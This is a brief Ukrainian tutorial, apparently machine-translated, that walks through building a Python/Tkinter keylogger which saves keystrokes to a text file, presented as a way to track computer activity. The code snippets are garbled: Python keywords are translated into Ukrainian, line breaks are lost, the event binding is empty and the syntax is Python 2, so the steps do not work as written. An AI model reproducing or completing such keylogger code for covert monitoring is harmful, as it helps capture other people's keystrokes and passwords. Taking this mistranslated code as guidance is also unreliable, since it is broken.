Як створити кейлоггер за допомогою Python

Жінка за комп'ютером, дивлячись через плече

Знімайте натискання клавіш і зберігайте їх у файл.

Авторство зображення: Jupiterimages/Photos.com/Getty Images

Ви можете створити програму кейлоггера за допомогою Python, щоб фіксувати натискання клавіш, введені за допомогою клавіатури комп’ютера. Натискання клавіш зберігаються в текстовому файлі, і він записує всі введені дані. Ви можете використовувати реєстратор для відстеження активності на комп’ютері.

Крок 1

Запустіть IDLE, натисніть меню «Файл» і виберіть «Нове вікно», щоб відкрити нове вікно. Натисніть Ctrl і S, щоб відкрити вікно «Зберегти як». Використовуйте «getKeyLogger» як назву файлу та натисніть «Зберегти».

Відео дня

Крок 2

Додайте наступний рядок коду, щоб імпортувати простір імен "Tkinter" і визначте шлях до файлу, який ви хочете використовувати для журналу:

імпортувати Tkinter як tk myFile = open("C:/temp/keyFile.txt", "w")

Крок 3

Скопіюйте та вставте наступний код, щоб зберегти кожне натискання клавіші у файлі:

def keypress (подія): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

Крок 4

Додайте наступний код, щоб повідомити користувачеві, що він може почати вводити текст, і що він може натиснути Esc, щоб завершити програму:

основний = тк. Tk() print "Натисніть будь-яку клавішу (клавіша Escape для виходу):" main.bind_all('', натискання клавіші) main.withdraw() main.mainloop() myFile.close()

Крок 5

Натисніть кнопку «Пуск» «Windows» і введіть «cmd» у поле «Пошук програм і файлів». Натисніть Enter, щоб відкрити командний рядок. Перейдіть до «C:\Python" і введіть "python getKeyLogger." Натисніть Enter, щоб запустити програму. Перейдіть до «C:/temp/» і двічі клацніть «keyFile.txt», щоб переглянути дані про натискання клавіш.